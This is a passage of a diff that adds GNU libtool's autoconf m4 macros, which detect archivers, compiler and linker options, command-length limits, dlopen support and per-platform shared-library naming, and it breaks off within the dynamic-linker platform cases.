+  # Find out which ABI we are using.
+  echo 'int i;' > conftest.$ac_ext
+  if AC_TRY_EVAL(ac_compile); then
+    case `/usr/bin/file conftest.o` in
+    *64-bit*)
+      case $lt_cv_prog_gnu_ld in
+      yes*) LD="${LD-ld} -m elf64_sparc" ;;
+      *)    LD="${LD-ld} -64" ;;
+      esac
+      ;;
+    esac
+  fi
+  rm -rf conftest*
+  ;;
+esac
+
+need_locks="$enable_libtool_lock"
+])# _LT_ENABLE_LOCK
+
+
+# _LT_CMD_OLD_ARCHIVE
+# -------------------
+m4_defun([_LT_CMD_OLD_ARCHIVE],
+[AC_CHECK_TOOL(AR, ar, false)
+test -z "$AR" && AR=ar
+test -z "$AR_FLAGS" && AR_FLAGS=cru
+_LT_DECL([], [AR], [1], [The archiver])
+_LT_DECL([], [AR_FLAGS], [1])
+
+AC_CHECK_TOOL(STRIP, strip, :)
+test -z "$STRIP" && STRIP=:
+_LT_DECL([], [STRIP], [1], [A symbol stripping program])
+
+AC_CHECK_TOOL(RANLIB, ranlib, :)
+test -z "$RANLIB" && RANLIB=:
+_LT_DECL([], [RANLIB], [1],
+    [Commands used to install an old-style archive])
+
+# Determine commands to create old-style static archives.
+old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs'
+old_postinstall_cmds='chmod 644 $oldlib'
+old_postuninstall_cmds=
+
+if test -n "$RANLIB"; then
+  case $host_os in
+  openbsd*)
+    old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$oldlib"
+    ;;
+  *)
+    old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$oldlib"
+    ;;
+  esac
+  old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib"
+fi
+_LT_DECL([], [old_postinstall_cmds], [2])
+_LT_DECL([], [old_postuninstall_cmds], [2])
+_LT_TAGDECL([], [old_archive_cmds], [2],
+    [Commands used to build an old-style archive])
+])# _LT_CMD_OLD_ARCHIVE
+
+
+# _LT_COMPILER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS,
+#		[OUTPUT-FILE], [ACTION-SUCCESS], [ACTION-FAILURE])
+# ----------------------------------------------------------------
+# Check whether the given compiler option works
+AC_DEFUN([_LT_COMPILER_OPTION],
+[AC_REQUIRE([AC_OBJEXT])dnl
+m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+m4_require([_LT_DECL_SED])dnl
+AC_CACHE_CHECK([$1], [$2],
+  [$2=no
+   m4_if([$4], , [ac_outfile=conftest.$ac_objext], [ac_outfile=$4])
+   printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+   lt_compiler_flag="$3"
+   # Insert the option either (1) after the last *FLAGS variable, or
+   # (2) before a word containing "conftest.", or (3) at the end.
+   # Note that $ac_compile itself does not contain backslashes and begins
+   # with a dollar sign (not a hyphen), so the echo should work correctly.
+   # The option is referenced via a variable to avoid confusing sed.
+   lt_compile=`echo "$ac_compile" | $SED \
+   -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
+   -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \
+   -e 's:$: $lt_compiler_flag:'`
+   (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD)
+   (eval "$lt_compile" 2>conftest.err)
+   ac_status=$?
+   cat conftest.err >&AS_MESSAGE_LOG_FD
+   echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD
+   if (exit $ac_status) && test -s "$ac_outfile"; then
+     # The compiler can only warn and ignore the option if not recognized
+     # So say no if there are warnings other than the usual output.
+     $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
+     $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
+     if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
+       $2=yes
+     fi
+   fi
+   $RM conftest*
+])
+
+if test x"[$]$2" = xyes; then
+    m4_if([$5], , :, [$5])
+else
+    m4_if([$6], , :, [$6])
+fi
+])# _LT_COMPILER_OPTION
+
+# Old name:
+AU_ALIAS([AC_LIBTOOL_COMPILER_OPTION], [_LT_COMPILER_OPTION])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_LIBTOOL_COMPILER_OPTION], [])
+
+
+# _LT_LINKER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS,
+#                  [ACTION-SUCCESS], [ACTION-FAILURE])
+# ----------------------------------------------------
+# Check whether the given linker option works
+AC_DEFUN([_LT_LINKER_OPTION],
+[m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+AC_CACHE_CHECK([$1], [$2],
+  [$2=no
+   save_LDFLAGS="$LDFLAGS"
+   LDFLAGS="$LDFLAGS $3"
+   printf "$lt_simple_link_test_code" > conftest.$ac_ext
+   if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
+     # The linker can only warn and ignore the option if not recognized
+     # So say no if there are warnings
+     if test -s conftest.err; then
+       # Append any errors to the config.log.
+       cat conftest.err 1>&AS_MESSAGE_LOG_FD
+       $ECHO "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
+       $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
+       if diff conftest.exp conftest.er2 >/dev/null; then
+         $2=yes
+       fi
+     else
+       $2=yes
+     fi
+   fi
+   $RM conftest*
+   LDFLAGS="$save_LDFLAGS"
+])
+
+if test x"[$]$2" = xyes; then
+    m4_if([$4], , :, [$4])
+else
+    m4_if([$5], , :, [$5])
+fi
+])# _LT_LINKER_OPTION
+
+# Old name:
+AU_ALIAS([AC_LIBTOOL_LINKER_OPTION], [_LT_LINKER_OPTION])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_LIBTOOL_LINKER_OPTION], [])
+
+
+# LT_CMD_MAX_LEN
+#---------------
+AC_DEFUN([LT_CMD_MAX_LEN],
+[AC_REQUIRE([AC_CANONICAL_HOST])dnl
+# find the maximum length of command line arguments
+AC_MSG_CHECKING([the maximum length of command line arguments])
+AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl
+  i=0
+  teststring="ABCD"
+
+  case $build_os in
+  msdosdjgpp*)
+    # On DJGPP, this test can blow up pretty badly due to problems in libc
+    # (any single argument exceeding 2000 bytes causes a buffer overrun
+    # during glob expansion).  Even if it were fixed, the result of this
+    # check would be larger than it should be.
+    lt_cv_sys_max_cmd_len=12288;    # 12K is about right
+    ;;
+
+  gnu*)
+    # Under GNU Hurd, this test is not required because there is
+    # no limit to the length of command line arguments.
+    # Libtool will interpret -1 as no limit whatsoever
+    lt_cv_sys_max_cmd_len=-1;
+    ;;
+
+  cygwin* | mingw*)
+    # On Win9x/ME, this test blows up -- it succeeds, but takes
+    # about 5 minutes as the teststring grows exponentially.
+    # Worse, since 9x/ME are not pre-emptively multitasking,
+    # you end up with a "frozen" computer, even though with patience
+    # the test eventually succeeds (with a max line length of 256k).
+    # Instead, let's just punt: use the minimum linelength reported by
+    # all of the supported platforms: 8192 (on NT/2K/XP).
+    lt_cv_sys_max_cmd_len=8192;
+    ;;
+
+  amigaos*)
+    # On AmigaOS with pdksh, this test takes hours, literally.
+    # So we just punt and use a minimum line length of 8192.
+    lt_cv_sys_max_cmd_len=8192;
+    ;;
+
+  netbsd* | freebsd* | openbsd* | darwin* | dragonfly*)
+    # This has been around since 386BSD, at least.  Likely further.
+    if test -x /sbin/sysctl; then
+      lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax`
+    elif test -x /usr/sbin/sysctl; then
+      lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax`
+    else
+      lt_cv_sys_max_cmd_len=65536	# usable default for all BSDs
+    fi
+    # And add a safety zone
+    lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4`
+    lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3`
+    ;;
+
+  interix*)
+    # We know the value 262144 and hardcode it with a safety zone (like BSD)
+    lt_cv_sys_max_cmd_len=196608
+    ;;
+
+  osf*)
+    # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure
+    # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not
+    # nice to cause kernel panics so lets avoid the loop below.
+    # First set a reasonable default.
+    lt_cv_sys_max_cmd_len=16384
+    #
+    if test -x /sbin/sysconfig; then
+      case `/sbin/sysconfig -q proc exec_disable_arg_limit` in
+        *1*) lt_cv_sys_max_cmd_len=-1 ;;
+      esac
+    fi
+    ;;
+  sco3.2v5*)
+    lt_cv_sys_max_cmd_len=102400
+    ;;
+  sysv5* | sco5v6* | sysv4.2uw2*)
+    kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null`
+    if test -n "$kargmax"; then
+      lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[[ 	]]//'`
+    else
+      lt_cv_sys_max_cmd_len=32768
+    fi
+    ;;
+  *)
+    # Make teststring a little bigger before we do anything with it.
+    # a 1K string should be a reasonable start.
+    for i in 1 2 3 4 5 6 7 8 ; do
+      teststring=$teststring$teststring
+    done
+    SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}}
+    # If test is not a shell built-in, we'll probably end up computing a
+    # maximum length that is only half of the actual maximum length, but
+    # we can't tell.
+    while { test "X"`$SHELL [$]0 --fallback-echo "X$teststring$teststring" 2>/dev/null` \
+	       = "XX$teststring$teststring"; } >/dev/null 2>&1 &&
+	    test $i != 17 # 1/2 MB should be enough
+    do
+      i=`expr $i + 1`
+      teststring=$teststring$teststring
+    done
+    # Only check the string length outside the loop.
+    lt_cv_sys_max_cmd_len=`expr "X$teststring" : ".*" 2>&1`
+    teststring=
+    # Add a significant safety factor because C++ compilers can tack on massive
+    # amounts of additional arguments before passing them to the linker.
+    # It appears as though 1/2 is a usable value.
+    lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2`
+    ;;
+  esac
+])
+if test -n $lt_cv_sys_max_cmd_len ; then
+  AC_MSG_RESULT($lt_cv_sys_max_cmd_len)
+else
+  AC_MSG_RESULT(none)
+fi
+max_cmd_len=$lt_cv_sys_max_cmd_len
+_LT_DECL([], [max_cmd_len], [0],
+    [What is the maximum length of a command?])
+])# LT_CMD_MAX_LEN
+
+# Old name:
+AU_ALIAS([AC_LIBTOOL_SYS_MAX_CMD_LEN], [LT_CMD_MAX_LEN])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN], [])
+
+
+# _LT_HEADER_DLFCN
+# ----------------
+m4_defun([_LT_HEADER_DLFCN],
+[AC_CHECK_HEADERS([dlfcn.h], [], [], [AC_INCLUDES_DEFAULT])dnl
+])# _LT_HEADER_DLFCN
+
+
+# _LT_TRY_DLOPEN_SELF (ACTION-IF-TRUE, ACTION-IF-TRUE-W-USCORE,
+#                      ACTION-IF-FALSE, ACTION-IF-CROSS-COMPILING)
+# ----------------------------------------------------------------
+m4_defun([_LT_TRY_DLOPEN_SELF],
+[m4_require([_LT_HEADER_DLFCN])dnl
+if test "$cross_compiling" = yes; then :
+  [$4]
+else
+  lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+  lt_status=$lt_dlunknown
+  cat > conftest.$ac_ext <<_LT_EOF
+[#line __oline__ "configure"
+#include "confdefs.h"
+
+#if HAVE_DLFCN_H
+#include <dlfcn.h>
+#endif
+
+#include <stdio.h>
+
+#ifdef RTLD_GLOBAL
+#  define LT_DLGLOBAL		RTLD_GLOBAL
+#else
+#  ifdef DL_GLOBAL
+#    define LT_DLGLOBAL		DL_GLOBAL
+#  else
+#    define LT_DLGLOBAL		0
+#  endif
+#endif
+
+/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
+   find out it does not work in some platform. */
+#ifndef LT_DLLAZY_OR_NOW
+#  ifdef RTLD_LAZY
+#    define LT_DLLAZY_OR_NOW		RTLD_LAZY
+#  else
+#    ifdef DL_LAZY
+#      define LT_DLLAZY_OR_NOW		DL_LAZY
+#    else
+#      ifdef RTLD_NOW
+#        define LT_DLLAZY_OR_NOW	RTLD_NOW
+#      else
+#        ifdef DL_NOW
+#          define LT_DLLAZY_OR_NOW	DL_NOW
+#        else
+#          define LT_DLLAZY_OR_NOW	0
+#        endif
+#      endif
+#    endif
+#  endif
+#endif
+
+#ifdef __cplusplus
+extern "C" void exit (int);
+#endif
+
+void fnord() { int i=42;}
+int main ()
+{
+  void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+  int status = $lt_dlunknown;
+
+  if (self)
+    {
+      if (dlsym (self,"fnord"))       status = $lt_dlno_uscore;
+      else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
+      /* dlclose (self); */
+    }
+  else
+    puts (dlerror ());
+
+    exit (status);
+}]
+_LT_EOF
+  if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext} 2>/dev/null; then
+    (./conftest; exit; ) >&AS_MESSAGE_LOG_FD 2>/dev/null
+    lt_status=$?
+    case x$lt_status in
+      x$lt_dlno_uscore) $1 ;;
+      x$lt_dlneed_uscore) $2 ;;
+      x$lt_dlunknown|x*) $3 ;;
+    esac
+  else :
+    # compilation failed
+    $3
+  fi
+fi
+rm -fr conftest*
+])# _LT_TRY_DLOPEN_SELF
+
+
+# LT_SYS_DLOPEN_SELF
+# ------------------
+AC_DEFUN([LT_SYS_DLOPEN_SELF],
+[m4_require([_LT_HEADER_DLFCN])dnl
+if test "x$enable_dlopen" != xyes; then
+  enable_dlopen=unknown
+  enable_dlopen_self=unknown
+  enable_dlopen_self_static=unknown
+else
+  lt_cv_dlopen=no
+  lt_cv_dlopen_libs=
+
+  case $host_os in
+  beos*)
+    lt_cv_dlopen="load_add_on"
+    lt_cv_dlopen_libs=
+    lt_cv_dlopen_self=yes
+    ;;
+
+  mingw* | pw32*)
+    lt_cv_dlopen="LoadLibrary"
+    lt_cv_dlopen_libs=
+    ;;
+
+  cygwin*)
+    lt_cv_dlopen="dlopen"
+    lt_cv_dlopen_libs=
+    ;;
+
+  darwin*)
+  # if libdl is installed we need to link against it
+    AC_CHECK_LIB([dl], [dlopen],
+		[lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],[
+    lt_cv_dlopen="dyld"
+    lt_cv_dlopen_libs=
+    lt_cv_dlopen_self=yes
+    ])
+    ;;
+
+  *)
+    AC_CHECK_FUNC([shl_load],
+	  [lt_cv_dlopen="shl_load"],
+      [AC_CHECK_LIB([dld], [shl_load],
+	    [lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"],
+	[AC_CHECK_FUNC([dlopen],
+	      [lt_cv_dlopen="dlopen"],
+	  [AC_CHECK_LIB([dl], [dlopen],
+		[lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],
+	    [AC_CHECK_LIB([svld], [dlopen],
+		  [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"],
+	      [AC_CHECK_LIB([dld], [dld_link],
+		    [lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld"])
+	      ])
+	    ])
+	  ])
+	])
+      ])
+    ;;
+  esac
+
+  if test "x$lt_cv_dlopen" != xno; then
+    enable_dlopen=yes
+  else
+    enable_dlopen=no
+  fi
+
+  case $lt_cv_dlopen in
+  dlopen)
+    save_CPPFLAGS="$CPPFLAGS"
+    test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H"
+
+    save_LDFLAGS="$LDFLAGS"
+    wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\"
+
+    save_LIBS="$LIBS"
+    LIBS="$lt_cv_dlopen_libs $LIBS"
+
+    AC_CACHE_CHECK([whether a program can dlopen itself],
+	  lt_cv_dlopen_self, [dnl
+	  _LT_TRY_DLOPEN_SELF(
+	    lt_cv_dlopen_self=yes, lt_cv_dlopen_self=yes,
+	    lt_cv_dlopen_self=no, lt_cv_dlopen_self=cross)
+    ])
+
+    if test "x$lt_cv_dlopen_self" = xyes; then
+      wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\"
+      AC_CACHE_CHECK([whether a statically linked program can dlopen itself],
+    	  lt_cv_dlopen_self_static, [dnl
+	  _LT_TRY_DLOPEN_SELF(
+	    lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=yes,
+	    lt_cv_dlopen_self_static=no,  lt_cv_dlopen_self_static=cross)
+      ])
+    fi
+
+    CPPFLAGS="$save_CPPFLAGS"
+    LDFLAGS="$save_LDFLAGS"
+    LIBS="$save_LIBS"
+    ;;
+  esac
+
+  case $lt_cv_dlopen_self in
+  yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;;
+  *) enable_dlopen_self=unknown ;;
+  esac
+
+  case $lt_cv_dlopen_self_static in
+  yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;;
+  *) enable_dlopen_self_static=unknown ;;
+  esac
+fi
+_LT_DECL([dlopen_support], [enable_dlopen], [0],
+	 [Whether dlopen is supported])
+_LT_DECL([dlopen_self], [enable_dlopen_self], [0],
+	 [Whether dlopen of programs is supported])
+_LT_DECL([dlopen_self_static], [enable_dlopen_self_static], [0],
+	 [Whether dlopen of statically linked programs is supported])
+])# LT_SYS_DLOPEN_SELF
+
+# Old name:
+AU_ALIAS([AC_LIBTOOL_DLOPEN_SELF], [LT_SYS_DLOPEN_SELF])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF], [])
+
+
+# _LT_COMPILER_C_O([TAGNAME])
+# ---------------------------
+# Check to see if options -c and -o are simultaneously supported by compiler.
+# This macro does not hard code the compiler like AC_PROG_CC_C_O.
+m4_defun([_LT_COMPILER_C_O],
+[AC_REQUIRE([AC_OBJEXT])dnl
+m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+m4_require([_LT_TAG_COMPILER])dnl
+AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext],
+  [_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)],
+  [_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=no
+   $RM -r conftest 2>/dev/null
+   mkdir conftest
+   cd conftest
+   mkdir out
+   printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+
+   lt_compiler_flag="-o out/conftest2.$ac_objext"
+   # Insert the option either (1) after the last *FLAGS variable, or
+   # (2) before a word containing "conftest.", or (3) at the end.
+   # Note that $ac_compile itself does not contain backslashes and begins
+   # with a dollar sign (not a hyphen), so the echo should work correctly.
+   lt_compile=`echo "$ac_compile" | $SED \
+   -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
+   -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \
+   -e 's:$: $lt_compiler_flag:'`
+   (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD)
+   (eval "$lt_compile" 2>out/conftest.err)
+   ac_status=$?
+   cat out/conftest.err >&AS_MESSAGE_LOG_FD
+   echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD
+   if (exit $ac_status) && test -s out/conftest2.$ac_objext
+   then
+     # The compiler can only warn and ignore the option if not recognized
+     # So say no if there are warnings
+     $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
+     $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
+     if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
+       _LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes
+     fi
+   fi
+   chmod u+w . 2>&AS_MESSAGE_LOG_FD
+   $RM conftest*
+   # SGI C++ compiler will create directory out/ii_files/ for
+   # template instantiation
+   test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files
+   $RM out/* && rmdir out
+   cd ..
+   $RM -r conftest
+   $RM conftest*
+])
+_LT_TAGDECL([compiler_c_o], [lt_cv_prog_compiler_c_o], [1],
+	[Does compiler simultaneously support -c and -o options?])
+])# _LT_COMPILER_C_O
+
+
+# _LT_COMPILER_FILE_LOCKS([TAGNAME])
+# ----------------------------------
+# Check to see if we can do hard links to lock some files if needed
+m4_defun([_LT_COMPILER_FILE_LOCKS],
+[m4_require([_LT_ENABLE_LOCK])dnl
+m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+_LT_COMPILER_C_O([$1])
+
+hard_links="nottested"
+if test "$_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)" = no && test "$need_locks" != no; then
+  # do not overwrite the value of need_locks provided by the user
+  AC_MSG_CHECKING([if we can lock with hard links])
+  hard_links=yes
+  $RM conftest*
+  ln conftest.a conftest.b 2>/dev/null && hard_links=no
+  touch conftest.a
+  ln conftest.a conftest.b 2>&5 || hard_links=no
+  ln conftest.a conftest.b 2>/dev/null && hard_links=no
+  AC_MSG_RESULT([$hard_links])
+  if test "$hard_links" = no; then
+    AC_MSG_WARN([`$CC' does not support `-c -o', so `make -j' may be unsafe])
+    need_locks=warn
+  fi
+else
+  need_locks=no
+fi
+_LT_DECL([], [need_locks], [1], [Must we lock files when doing compilation?])
+])# _LT_COMPILER_FILE_LOCKS
+
+
+# _LT_CHECK_OBJDIR
+# ----------------
+m4_defun([_LT_CHECK_OBJDIR],
+[AC_CACHE_CHECK([for objdir], [lt_cv_objdir],
+[rm -f .libs 2>/dev/null
+mkdir .libs 2>/dev/null
+if test -d .libs; then
+  lt_cv_objdir=.libs
+else
+  # MS-DOS does not allow filenames that begin with a dot.
+  lt_cv_objdir=_libs
+fi
+rmdir .libs 2>/dev/null])
+objdir=$lt_cv_objdir
+_LT_DECL([], [objdir], [0],
+         [The name of the directory that contains temporary libtool files])dnl
+m4_pattern_allow([LT_OBJDIR])dnl
+AC_DEFINE_UNQUOTED(LT_OBJDIR, "$lt_cv_objdir/",
+  [Define to the sub-directory in which libtool stores uninstalled libraries.])
+])# _LT_CHECK_OBJDIR
+
+
+# _LT_LINKER_HARDCODE_LIBPATH([TAGNAME])
+# --------------------------------------
+# Check hardcoding attributes.
+m4_defun([_LT_LINKER_HARDCODE_LIBPATH],
+[AC_MSG_CHECKING([how to hardcode library paths into programs])
+_LT_TAGVAR(hardcode_action, $1)=
+if test -n "$_LT_TAGVAR(hardcode_libdir_flag_spec, $1)" ||
+   test -n "$_LT_TAGVAR(runpath_var, $1)" ||
+   test "X$_LT_TAGVAR(hardcode_automatic, $1)" = "Xyes" ; then
+
+  # We can hardcode non-existent directories.
+  if test "$_LT_TAGVAR(hardcode_direct, $1)" != no &&
+     # If the only mechanism to avoid hardcoding is shlibpath_var, we
+     # have to relink, otherwise we might link with an installed library
+     # when we should be linking with a yet-to-be-installed one
+     ## test "$_LT_TAGVAR(hardcode_shlibpath_var, $1)" != no &&
+     test "$_LT_TAGVAR(hardcode_minus_L, $1)" != no; then
+    # Linking always hardcodes the temporary library directory.
+    _LT_TAGVAR(hardcode_action, $1)=relink
+  else
+    # We can link without hardcoding, and we can hardcode nonexisting dirs.
+    _LT_TAGVAR(hardcode_action, $1)=immediate
+  fi
+else
+  # We cannot hardcode anything, or else we can only hardcode existing
+  # directories.
+  _LT_TAGVAR(hardcode_action, $1)=unsupported
+fi
+AC_MSG_RESULT([$_LT_TAGVAR(hardcode_action, $1)])
+
+if test "$_LT_TAGVAR(hardcode_action, $1)" = relink ||
+   test "$_LT_TAGVAR(inherit_rpath, $1)" = yes; then
+  # Fast installation is not supported
+  enable_fast_install=no
+elif test "$shlibpath_overrides_runpath" = yes ||
+     test "$enable_shared" = no; then
+  # Fast installation is not necessary
+  enable_fast_install=needless
+fi
+_LT_TAGDECL([], [hardcode_action], [0],
+    [How to hardcode a shared library path into an executable])
+])# _LT_LINKER_HARDCODE_LIBPATH
+
+
+# _LT_CMD_STRIPLIB
+# ----------------
+m4_defun([_LT_CMD_STRIPLIB],
+[m4_require([_LT_DECL_EGREP])
+striplib=
+old_striplib=
+AC_MSG_CHECKING([whether stripping libraries is possible])
+if test -n "$STRIP" && $STRIP -V 2>&1 | $GREP "GNU strip" >/dev/null; then
+  test -z "$old_striplib" && old_striplib="$STRIP --strip-debug"
+  test -z "$striplib" && striplib="$STRIP --strip-unneeded"
+  AC_MSG_RESULT([yes])
+else
+# FIXME - insert some real tests, host_os isn't really good enough
+  case $host_os in
+  darwin*)
+    if test -n "$STRIP" ; then
+      striplib="$STRIP -x"
+      old_striplib="$STRIP -S"
+      AC_MSG_RESULT([yes])
+    else
+      AC_MSG_RESULT([no])
+    fi
+    ;;
+  *)
+    AC_MSG_RESULT([no])
+    ;;
+  esac
+fi
+_LT_DECL([], [old_striplib], [1], [Commands to strip libraries])
+_LT_DECL([], [striplib], [1])
+])# _LT_CMD_STRIPLIB
+
+
+# _LT_SYS_DYNAMIC_LINKER([TAG])
+# -----------------------------
+# PORTME Fill in your ld.so characteristics
+m4_defun([_LT_SYS_DYNAMIC_LINKER],
+[AC_REQUIRE([AC_CANONICAL_HOST])dnl
+m4_require([_LT_DECL_EGREP])dnl
+m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+m4_require([_LT_DECL_SED])dnl
+AC_MSG_CHECKING([dynamic linker characteristics])
+m4_case([$1],
+	[C], [withGCC=$GCC],
+	[CXX], [withGCC=$GXX],
+	[F77], [withGCC=$G77],
+	[FC], [withGCC=$ac_cv_fc_compiler_gnu],
+	[withGCC=$GCC])
+library_names_spec=
+libname_spec='lib$name'
+soname_spec=
+shrext_cmds=".so"
+postinstall_cmds=
+postuninstall_cmds=
+finish_cmds=
+finish_eval=
+shlibpath_var=
+shlibpath_overrides_runpath=unknown
+version_type=none
+dynamic_linker="$host_os ld.so"
+sys_lib_dlsearch_path_spec="/lib /usr/lib"
+if test "$withGCC" = yes; then
+  sys_lib_search_path_spec=`$CC -print-search-dirs | $GREP "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
+  if $ECHO "$sys_lib_search_path_spec" | $GREP ';' >/dev/null ; then
+    # if the path contains ";" then we assume it to be the separator
+    # otherwise default to the standard path separator (i.e. ":") - it is
+    # assumed that no part of a normal pathname contains ";" but that should
+    # okay in the real world where ";" in dirpaths is itself problematic.
+    sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
+  else
+    sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED  -e "s/$PATH_SEPARATOR/ /g"`
+  fi
+else
+  sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
+fi
+need_lib_prefix=unknown
+hardcode_into_libs=no
+
+# when you set need_version to no, make sure it does not cause -set_version
+# flags to be left without arguments
+need_version=unknown
+
+case $host_os in
+aix3*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
+  shlibpath_var=LIBPATH
+
+  # AIX 3 has no versioning support, so we append a major version to the name.
+  soname_spec='${libname}${release}${shared_ext}$major'
+  ;;
+
+aix4* | aix5*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  hardcode_into_libs=yes
+  if test "$host_cpu" = ia64; then
+    # AIX 5 supports IA64
+    library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
+    shlibpath_var=LD_LIBRARY_PATH
+  else
+    # With GCC up to 2.95.x, collect2 would create an import file
+    # for dependence libraries.  The import file would start with
+    # the line `#! .'.  This would cause the generated library to
+    # depend on `.', always an invalid library.  This was fixed in
+    # development snapshots of GCC prior to 3.0.
+    case $host_os in
+      aix4 | aix4.[[01]] | aix4.[[01]].*)
+      if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
+	   echo ' yes '
+	   echo '#endif'; } | ${CC} -E - | $GREP yes > /dev/null; then
+	:
+      else
+	can_build_shared=no
+      fi
+      ;;
+    esac
+    # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
+    # soname into executable. Probably we can add versioning support to
+    # collect2, so additional links can be useful in future.
+    if test "$aix_use_runtimelinking" = yes; then
+      # If using run time linking (on AIX 4.2 or later) use lib<name>.so
+      # instead of lib<name>.a to let people know that these are not
+      # typical AIX shared libraries.
+      library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    else
+      # We preserve .a as extension for shared libraries through AIX4.2
+      # and later when we are not doing run time linking.
+      library_names_spec='${libname}${release}.a $libname.a'
+      soname_spec='${libname}${release}${shared_ext}$major'
+    fi
+    shlibpath_var=LIBPATH
+  fi
+  ;;
+
+amigaos*)
+  if test "$host_cpu" = m68k; then
+    library_names_spec='$libname.ixlibrary $libname.a'
+    # Create ${libname}_ixlibrary.a entries in /sys/libs.
+    finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$ECHO "X$lib" | $Xsed -e '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1%'\''`; test $RM /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
+  else
+    dynamic_linker=no
+  fi
+  ;;
+
+beos*)
+  library_names_spec='${libname}${shared_ext}'
+  dynamic_linker="$host_os ld.so"
+  shlibpath_var=LIBRARY_PATH
+  ;;
+
+bsdi[[45]]*)
+  version_type=linux
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
